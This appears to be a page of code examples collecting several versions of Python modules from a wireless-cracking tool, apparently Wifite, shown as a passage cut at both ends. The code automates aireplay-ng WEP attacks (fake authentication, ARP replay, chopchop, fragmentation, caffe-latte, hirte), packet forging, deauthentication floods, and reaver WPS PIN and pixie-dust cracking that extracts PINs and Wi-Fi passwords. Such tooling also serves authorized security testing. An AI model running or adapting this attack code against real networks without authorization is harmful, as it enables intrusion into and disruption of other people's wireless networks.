        '''
        cmd = Aireplay.get_aireplay_command(target,
                                            attack_type,
                                            client_mac=client_mac,
                                            replay_file=replay_file)

        # TODO: set 'stdout' when creating process to store output to file.
        # AttackWEP will read file to get status of attack.
        # E.g., chopchop will regex "(\d+)% done" to get percent complete.
        '''
        from subprocess import PIPE
        sout = PIPE
        if '--chopchop' in cmd:
            sout = open(Configuration.temp('chopchop'), 'w')
        '''

        self.pid = Process(cmd,
                           devnull=False,
                           cwd=Configuration.temp())

    def is_running(self):
        return self.pid.poll() == None

    def stop(self):
        ''' Stops aireplay process '''
        if self.pid and self.pid.poll() != None:
            self.pid.interrupt()

    def get_output(self):
        ''' Returns stdout from aireplay process '''
        return self.pid.stdout()

    @staticmethod
    def get_aireplay_command(target, attack_type,
                             client_mac=None, replay_file=None):
        '''
            Generates aireplay command based on target and attack type
            Args:
                target      - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac  - MAC address of an associated client.
                replay_file - .Cap file to replay via --arpreplay
        '''

        # Interface is required at this point
        Configuration.initialize()
        if Configuration.interface == None:
            raise Exception("Wireless interface must be defined (-i)")
            
        cmd = ['aireplay-ng']
        cmd.append('--ignore-negative-one')

        if not client_mac and len(target.clients) > 0:
            # Client MAC wasn't specified, but there's an associated client. Use that.
            client_mac = target.clients[0].station

        # type(attack_type) might be str, int, or WEPAttackType.
        # Find the appropriate attack enum.
        attack_type = WEPAttackType(attack_type).value

        if attack_type == WEPAttackType.fakeauth:
            cmd.extend(['-1', '0']) # Fake auth, no delay
            cmd.extend(['-a', target.bssid])
            cmd.extend(['-T', '3']) # Make 3 attempts
            if target.essid_known:
                cmd.extend(['-e', target.essid])
            # Do not specify client MAC address,
            # we're trying to fake-authenticate using *our* MAC

        elif attack_type == WEPAttackType.replay:
            cmd.append('--arpreplay')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.chopchop:
            cmd.append('--chopchop')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-m', '60']) # Minimum packet length (bytes)
            cmd.extend(['-n', '82']) # Maximum packet length
            cmd.extend(['-F'])       # Automatically choose first packet
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.fragment:
            cmd.append('--fragment')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-m', '100']) # Minimum packet length (bytes)
            cmd.extend(['-F'])       # Automatically choose first packet
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.caffelatte:
            cmd.append('--caffe-latte')
            cmd.extend(['-b', target.bssid])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.p0841:
            cmd.append('--interactive')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
            cmd.extend(['-t', '1'])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-F']) # Automatically choose first packet
            cmd.extend(['-p', '0841'])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.hirte:
            if client_mac == None:
                # Unable to carry out hirte attack
                raise Exception("Client is required for hirte attack")
            cmd.append('--cfrag')
            cmd.extend(['-h', client_mac])
        elif attack_type == WEPAttackType.forgedreplay:
            if client_mac == None or replay_file == None:
                raise Exception(
                    "Client_mac and Replay_File are required for arp replay")
            cmd.append('--arpreplay')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-r', replay_file])
            cmd.extend(['-F']) # Automatically choose first packet
            cmd.extend(['-x', str(Configuration.wep_pps)])
        else:
            raise Exception("Unexpected attack type: %s" % attack_type)

        cmd.append(Configuration.interface)
        return cmd

    @staticmethod
    def get_xor():
        ''' Finds the last .xor file in the directory '''
        xor = None
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith('replay_') and fil.endswith('.xor'):
                xor = fil
        return xor

    @staticmethod
    def forge_packet(xor_file, bssid, station_mac):
        ''' Forges packet from .xor file '''
        forged_file = 'forged.cap'
        cmd = [
            'packetforge-ng',
            '-0',
            '-a', bssid,           # Target MAC
            '-h', station_mac,     # Client MAC
            '-k', '192.168.1.2',   # Dest IP
            '-l', '192.168.1.100', # Source IP
            '-y', xor_file,        # Read PRNG from .xor file
            '-w', forged_file,     # Write to
            Configuration.interface
        ]

        cmd = '"%s"' % '" "'.join(cmd)
        (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
        if out.strip() == 'Wrote packet to: %s' % forged_file:
            return forged_file
        else:
            from Color import Color
            Color.pl('{!} {R}failed to forge packet from .xor file{W}')
            Color.pl('output:\n"%s"' % out)
            return None
Пример #11
0
class Aireplay(object):
    def __init__(self, target, attack_type, client_mac=None, replay_file=None):
        '''
            Starts aireplay process.
            Args:
                target - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac - MAC address of an associated client.
        '''
        cmd = Aireplay.get_aireplay_command(target,
                                            attack_type,
                                            client_mac=client_mac,
                                            replay_file=replay_file)

        # TODO: set 'stdout' when creating process to store output to file.
        # AttackWEP will read file to get status of attack.
        # E.g., chopchop will regex "(\d+)% done" to get percent complete.
        '''
        from subprocess import PIPE
        sout = PIPE
        if '--chopchop' in cmd:
            sout = open(Configuration.temp('chopchop'), 'w')
        '''

        self.pid = Process(cmd,
                           devnull=False,
                           cwd=Configuration.temp())

    def is_running(self):
        return self.pid.poll() == None

    def stop(self):
        ''' Stops aireplay process '''
        if self.pid and self.pid.poll() != None:
            self.pid.interrupt()

    def get_output(self):
        ''' Returns stdout from aireplay process '''
        return self.pid.stdout()

    @staticmethod
    def get_aireplay_command(target, attack_type,
                             client_mac=None, replay_file=None):
        '''
            Generates aireplay command based on target and attack type
            Args:
                target      - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac  - MAC address of an associated client.
                replay_file - .Cap file to replay via --arpreplay
        '''

        # Interface is required at this point
        Configuration.initialize()
        if Configuration.interface == None:
            raise Exception("Wireless interface must be defined (-i)")
            
        cmd = ['aireplay-ng']
        cmd.append('--ignore-negative-one')

        if not client_mac and len(target.clients) > 0:
            # Client MAC wasn't specified, but there's an associated client. Use that.
            client_mac = target.clients[0].station

        # type(attack_type) might be str, int, or WEPAttackType.
        # Find the appropriate attack enum.
        attack_type = WEPAttackType(attack_type).value

        if attack_type == WEPAttackType.fakeauth:
            cmd.extend(['-1', '0']) # Fake auth, no delay
            cmd.extend(['-a', target.bssid])
            cmd.extend(['-T', '3']) # Make 3 attempts
            if target.essid_known:
                cmd.extend(['-e', target.essid])
            # Do not specify client MAC address,
            # we're trying to fake-authenticate using *our* MAC

        elif attack_type == WEPAttackType.replay:
            cmd.append('--arpreplay')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.chopchop:
            cmd.append('--chopchop')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-m', '60']) # Minimum packet length (bytes)
            cmd.extend(['-n', '82']) # Maximum packet length
            cmd.extend(['-F'])       # Automatically choose first packet
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.fragment:
            cmd.append('--fragment')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-m', '100']) # Minimum packet length (bytes)
            cmd.extend(['-F'])       # Automatically choose first packet
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.caffelatte:
            cmd.append('--caffe-latte')
            cmd.extend(['-b', target.bssid])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.p0841:
            cmd.append('--interactive')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
            cmd.extend(['-t', '1'])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-F']) # Automatically choose first packet
            cmd.extend(['-p', '0841'])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.hirte:
            if client_mac == None:
                # Unable to carry out hirte attack
                raise Exception("Client is required for hirte attack")
            cmd.append('--cfrag')
            cmd.extend(['-h', client_mac])
        elif attack_type == WEPAttackType.forgedreplay:
            if client_mac == None or replay_file == None:
                raise Exception(
                    "Client_mac and Replay_File are required for arp replay")
            cmd.append('--arpreplay')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-r', replay_file])
            cmd.extend(['-F']) # Automatically choose first packet
            cmd.extend(['-x', str(Configuration.wep_pps)])
        else:
            raise Exception("Unexpected attack type: %s" % attack_type)

        cmd.append(Configuration.interface)
        return cmd

    @staticmethod
    def get_xor():
        ''' Finds the last .xor file in the directory '''
        xor = None
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith('replay_') and fil.endswith('.xor'):
                xor = fil
        return xor

    @staticmethod
    def forge_packet(xor_file, bssid, station_mac):
        ''' Forges packet from .xor file '''
        forged_file = 'forged.cap'
        cmd = [
            'packetforge-ng',
            '-0',
            '-a', bssid,           # Target MAC
            '-h', station_mac,     # Client MAC
            '-k', '192.168.1.2',   # Dest IP
            '-l', '192.168.1.100', # Source IP
            '-y', xor_file,        # Read PRNG from .xor file
            '-w', forged_file,     # Write to
            Configuration.interface
        ]

        cmd = '"%s"' % '" "'.join(cmd)
        (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
        if out.strip() == 'Wrote packet to: %s' % forged_file:
            return forged_file
        else:
            from Color import Color
            Color.pl('{!} {R}failed to forge packet from .xor file{W}')
            Color.pl('output:\n"%s"' % out)
            return None
Пример #12
0
class Aireplay(Thread):
    def __init__(self, target, attack_type, client_mac=None, replay_file=None):
        '''
            Starts aireplay process.
            Args:
                target - Instance of Target object, AP to attack.
                attack_type - str, e.g. "fakeauth", "arpreplay", etc.
                client_mac - MAC address of an associated client.
        '''
        super(Aireplay, self).__init__()  # Init the parent Thread

        self.target = target
        self.output_file = Configuration.temp("aireplay_%s.output" %
                                              attack_type)
        self.attack_type = WEPAttackType(attack_type).value
        self.error = None
        self.status = None
        self.cmd = Aireplay.get_aireplay_command(self.target,
                                                 attack_type,
                                                 client_mac=client_mac,
                                                 replay_file=replay_file)
        self.pid = Process(self.cmd,
                           stdout=open(self.output_file, 'a'),
                           stderr=Process.devnull(),
                           cwd=Configuration.temp())
        self.start()

    def is_running(self):
        return self.pid.poll() is None

    def stop(self):
        ''' Stops aireplay process '''
        if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
            self.pid.interrupt()

    def get_output(self):
        ''' Returns stdout from aireplay process '''
        return self.pid.stdout()

    def run(self):
        while self.pid.poll() is None:
            time.sleep(0.1)
            if not os.path.exists(self.output_file): continue
            # Read output file & clear output file
            with open(self.output_file, "r+") as fid:
                lines = fid.read()
                fid.seek(0)
                fid.truncate()
            for line in lines.split("\n"):
                line = line.replace("\r", "").strip()
                if line == "": continue
                if "Notice: got a deauth/disassoc packet" in line:
                    self.error = "Not associated (needs fakeauth)"

                if self.attack_type == WEPAttackType.fakeauth:
                    # Look for fakeauth status. Potential Output lines:
                    # (START): 00:54:58  Sending Authentication Request (Open System)
                    if "Sending Authentication Request " in line:
                        self.status = None  # Reset
                    # (????):  Please specify an ESSID (-e).
                    elif "Please specify an ESSID" in line:
                        self.status = None
                    # (FAIL):  00:57:43  Got a deauthentication packet! (Waiting 3 seconds)
                    elif "Got a deauthentication packet!" in line:
                        self.status = False
                    # (PASS):  20:17:25  Association successful :-) (AID: 1)
                    # (PASS):  20:18:55  Reassociation successful :-) (AID: 1)
                    elif "association successful :-)" in line.lower():
                        self.status = True
                elif self.attack_type == WEPAttackType.chopchop:
                    # Look for chopchop status. Potential output lines:
                    # (START)  Read 178 packets...
                    read_re = re.compile(r"Read (\d+) packets")
                    matches = read_re.match(line)
                    if matches:
                        self.status = "Waiting for packet (read %s)..." % matches.group(
                            1)
                    # (DURING) Offset   52 (54% done) | xor = DE | pt = E0 |  152 frames written in  2782ms
                    offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
                    matches = offset_re.match(line)
                    if matches:
                        self.status = "Generating Xor (%s)" % matches.group(1)
                    # (DONE)   Saving keystream in replay_dec-0516-202246.xor
                    saving_re = re.compile(r"Saving keystream in (.*\.xor)")
                    matches = saving_re.match(line)
                    if matches:
                        self.status = matches.group(1)
                    pass
                elif self.attack_type == WEPAttackType.fragment:
                    # TODO: Parse fragment output, update self.status
                    # 01:08:15  Waiting for a data packet...
                    # 01:08:17  Sending fragmented packet
                    # 01:08:37  Still nothing, trying another packet...
                    # XX:XX:XX  Trying to get 1500 bytes of a keystream
                    # XX:XX:XX  Got RELAYED packet!!
                    # XX:XX:XX  Thats our ARP packet!
                    # XX:XX:XX  Saving keystream in fragment-0124-161129.xor
                    # XX:XX:XX  Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
                    pass
                else:  # Replay, forged replay, etc.
                    # Parse Packets Sent & PacketsPerSecond. Possible output lines:
                    # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
                    # Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
                    read_re = re.compile(
                        r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)"
                    )
                    matches = read_re.match(line)
                    if matches:
                        pps = matches.group(5)
                        if pps == "0":
                            self.status = "Waiting for packet..."
                        else:
                            self.status = "Replaying packet @ %s/sec" % pps
                    pass

    def __del__(self):
        self.stop()

    @staticmethod
    def get_aireplay_command(target,
                             attack_type,
                             client_mac=None,
                             replay_file=None):
        '''
            Generates aireplay command based on target and attack type
            Args:
                target      - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac  - MAC address of an associated client.
                replay_file - .Cap file to replay via --arpreplay
        '''

        # Interface is required at this point
        Configuration.initialize()
        if Configuration.interface is None:
            raise Exception("Wireless interface must be defined (-i)")

        cmd = ["aireplay-ng"]
        cmd.append("--ignore-negative-one")

        if not client_mac and len(target.clients) > 0:
            # Client MAC wasn't specified, but there's an associated client. Use that.
            client_mac = target.clients[0].station

        # type(attack_type) might be str, int, or WEPAttackType.
        # Find the appropriate attack enum.
        attack_type = WEPAttackType(attack_type).value

        if attack_type == WEPAttackType.fakeauth:
            cmd.extend([
                "--fakeauth",
                "30",  # Fake auth every 30 seconds
                "-Q",  # Send re-association packets
                "-a",
                target.bssid
            ])
            if target.essid_known:
                cmd.extend(["-e", target.essid])
        elif attack_type == WEPAttackType.replay:
            cmd.extend([
                "--arpreplay", "-b", target.bssid, "-x",
                str(Configuration.wep_pps)
            ])
            if client_mac:
                cmd.extend(["-h", client_mac])

        elif attack_type == WEPAttackType.chopchop:
            cmd.extend([
                "--chopchop",
                "-b",
                target.bssid,
                "-x",
                str(Configuration.wep_pps),
                #"-m", "60", # Minimum packet length (bytes)
                #"-n", "82", # Maximum packet length
                "-F"  # Automatically choose first packet
            ])
            if client_mac:
                cmd.extend(["-h", client_mac])

        elif attack_type == WEPAttackType.fragment:
            cmd.extend([
                "--fragment",
                "-b",
                target.bssid,
                "-x",
                str(Configuration.wep_pps),
                "-m",
                "100",  # Minimum packet length (bytes)
                "-F"  # Automatically choose first packet
            ])
            if client_mac:
                cmd.extend(["-h", client_mac])

        elif attack_type == WEPAttackType.caffelatte:
            if len(target.clients) == 0:
                # Unable to carry out caffe-latte attack
                raise Exception("Client is required for caffe-latte attack")
            cmd.extend([
                "--caffe-latte", "-b", target.bssid, "-h",
                target.clients[0].station
            ])

        elif attack_type == WEPAttackType.p0841:
            cmd.extend([
                "--arpreplay",
                "-b",
                target.bssid,
                "-c",
                "ff:ff:ff:ff:ff:ff",
                "-x",
                str(Configuration.wep_pps),
                "-F",  # Automatically choose first packet
                "-p",
                "0841"
            ])
            if client_mac:
                cmd.extend(["-h", client_mac])

        elif attack_type == WEPAttackType.hirte:
            if client_mac is None:
                # Unable to carry out hirte attack
                raise Exception("Client is required for hirte attack")
            cmd.extend(["--cfrag", "-h", client_mac])
        elif attack_type == WEPAttackType.forgedreplay:
            if client_mac is None or replay_file is None:
                raise Exception(
                    "Client_mac and Replay_File are required for arp replay")
            cmd.extend([
                "--arpreplay",
                "-b",
                target.bssid,
                "-h",
                client_mac,
                "-r",
                replay_file,
                "-F",  # Automatically choose first packet
                "-x",
                str(Configuration.wep_pps)
            ])
        else:
            raise Exception("Unexpected attack type: %s" % attack_type)

        cmd.append(Configuration.interface)
        return cmd

    @staticmethod
    def get_xor():
        ''' Finds the last .xor file in the directory '''
        xor = None
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith('replay_') and fil.endswith('.xor') or \
               fil.startswith('fragment-') and fil.endswith('.xor'):
                xor = fil
        return xor

    @staticmethod
    def forge_packet(xor_file, bssid, station_mac):
        ''' Forges packet from .xor file '''
        forged_file = 'forged.cap'
        cmd = [
            'packetforge-ng',
            '-0',
            '-a',
            bssid,  # Target MAC
            '-h',
            station_mac,  # Client MAC
            '-k',
            '192.168.1.2',  # Dest IP
            '-l',
            '192.168.1.100',  # Source IP
            '-y',
            xor_file,  # Read PRNG from .xor file
            '-w',
            forged_file,  # Write to
            Configuration.interface
        ]

        cmd = '"%s"' % '" "'.join(cmd)
        (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
        if out.strip() == 'Wrote packet to: %s' % forged_file:
            return forged_file
        else:
            from Color import Color
            Color.pl('{!} {R}failed to forge packet from .xor file{W}')
            Color.pl('output:\n"%s"' % out)
            return None

    @staticmethod
    def deauth(target_bssid,
               essid=None,
               client_mac=None,
               num_deauths=None,
               timeout=2):
        num_deauths = num_deauths or Configuration.num_deauths
        deauth_cmd = [
            "aireplay-ng",
            "-0",  # Deauthentication
            str(num_deauths),
            "--ignore-negative-one",
            "-a",
            target_bssid,  # Target AP
            "-D"  # Skip AP detection
        ]
        if client_mac is not None:
            # Station-specific deauth
            deauth_cmd.extend(["-c", client_mac])
        if essid:
            deauth_cmd.extend(["-e", essid])
        deauth_cmd.append(Configuration.interface)
        proc = Process(deauth_cmd)
        while proc.poll() is None:
            if proc.running_time() >= timeout:
                proc.interrupt()
            time.sleep(0.2)

    @staticmethod
    def fakeauth(target, timeout=5, num_attempts=3):
        '''
        Tries a one-time fake-authenticate with a target AP.
        Params:
            target (py.Target): Instance of py.Target
            timeout (int): Time to wait for fakeuth to succeed.
            num_attempts (int): Number of fakeauth attempts to make.
        Returns:
            (bool): True if fakeauth succeeds, otherwise False
        '''

        cmd = [
            'aireplay-ng',
            '-1',
            '0',  # Fake auth, no delay
            '-a',
            target.bssid,
            '-T',
            str(num_attempts)
        ]
        if target.essid_known:
            cmd.extend(['-e', target.essid])
        cmd.append(Configuration.interface)
        fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp())

        timer = Timer(timeout)
        while fakeauth_proc.poll() is None and not timer.ended():
            time.sleep(0.1)
        if fakeauth_proc.poll() is None or timer.ended():
            fakeauth_proc.interrupt()
            return False
        output = fakeauth_proc.stdout()
        return 'association successful' in output.lower()
Пример #13
0
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-K', '1', # pixie-dust attack
            '-a', # Automatically restart session
            '-vv' # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        pin = None
        step = '0) initializing'
        time_since_last_step = 0

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            last_step = step
            # Status updates, depending on last line of stdout
            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            if step != last_step:
                # Step changed, reset step timer
                time_since_last_step = 0
            else:
                time_since_last_step += 1

            if time_since_last_step > Configuration.wps_pixie_step_timeout:
                Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
                break

            # Reaver Failure/Timeout check
            fail_count = stdout.count('WPS transaction failed')
            if fail_count > Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
                break
            timeout_count = stdout.count('Receive timeout occurred')
            if timeout_count > Configuration.wps_timeout_threshold:
                Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
                break

            # Display status of Pixie-Dust attack
            Color.p('{W}%s{W}' % step)

            continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False
Пример #14
0
    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-a', # Automatically restart session
            '-vv'  # verbose
        ]
        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        while True:
            time.sleep(1)
            percent = 100 * float(pin_current) / float(pin_total)
            Color.clear_line()
            Color.p('\r{+} {C}WPS PIN attack{W} (')
            Color.p('{G}%.2f%% done{W}, ' % percent)
            Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
            Color.p('{R}%d/%d failures{W}) ' % (failures, \
                                            Configuration.wps_fail_threshold))

            if failures >= Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures{W}')
                break

            # Get output
            out = self.get_stdout()

            # Clear output file
            f = open(self.stdout_file, 'w')
            f.write('')
            f.close()

            # CHECK FOR CRACK

            (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
            if pin and psk and ssid:
                # We cracked it.
                self.success = True
                Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
                self.crack_result.dump()
                break


            # PIN PROGRESS

            # Reaver 1.5.*
            match = None
            for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
                # Look at last entry for "Pin count advanced" to get latest pin count
                pass
            if match:
                # Reset failures on successful try
                failures = 0
                groups = match.groups()
                pin_current = int(groups[0])
                pin_total = int(groups[1])

            # Reaver 1.3, 1.4
            match = None
            for match in re.finditer('Trying pin (\d+)', out):
                if match:
                    pin = int(match.groups()[0])
                    if pin not in pins:
                        # Reset failures on successful try
                        failures = 0
                        pins.add(pin)
                        pin_current += 1

            # Failures
            if 'WPS transaction failed' in out:
                failures += out.count('WPS transaction failed')
            elif 'Receive timeout occurred' in out:
                # Reaver 1.4
                failures += out.count('Receive timeout occurred')

            # Status
            if 'Waiting for beacon from'   in out: state = '{O}waiting for beacon{W}'
            if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
            # Reaver 1.4
            if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'

            if 'Detected AP rate limiting' in out:
                state = '{R}rate-limited{W}'
                if Configuration.wps_skip_rate_limit:
                    Color.pl(state)
                    Color.pl('{!} {R}hit rate limit, stopping{W}\n')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break

            if 'WARNING: Failed to associate with' in out:
                # TODO: Fail after X association failures (instead of just one)
                Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
                break

            match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
            if match:
                eta = match.groups()[0]
                state = '{C}cracking, ETA: {G}%s{W}' % eta

            match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
            if match:
                eta = match.groups()[0]
                state = '{C}cracking, ETA: {G}%s{W}' % eta
                pins_left = int(match.groups()[1])

                # Divine pin_current & pin_total from this:
                pin_current = 11000 - pins_left

            # Check if process is still running
            if reaver.pid.poll() != None:
                Color.pl('{R}failed{W}')
                Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
                self.success = False
                break

            # Output the current state
            Color.p(state)

            '''
            [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
            [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
            [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
            [+] Trying pin 12345670.
            [+] Pin count advanced: 46. Max pin attempts: 11000
            [!] WPS transaction failed (code: 0x02), re-trying last pin
            [!] WPS transaction failed (code: 0x03), re-trying last pin
            [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
            [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
            [!] WARNING: 25 successive start failures
            [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
            [+] 0.55% complete. Elapsed time: 0d0h2m21s.
            [+] Estimated Remaining time: 0d15h11m35s

            [+] Pin cracked in 7 seconds
            [+] WPS PIN: '12345678'
            [+] WPA PSK: 'abcdefgh'
            [+] AP SSID: 'Test Router'

            Reaver 1.4:
            [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
            [!] WARNING: Receive timeout occurred

            '''

        reaver.interrupt()

        return self.success
Пример #15
0
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i',
            Configuration.interface,
            '-b',
            self.target.bssid,
            '-c',
            self.target.channel,
            '-K',
            '1',  # pixie-dust attack
            '-a',  # Automatically restart session
            '-vv'  # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        pin = None
        step = '0) initializing'

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl(
                        '\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            # Status updates, depending on last line of stdout
            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
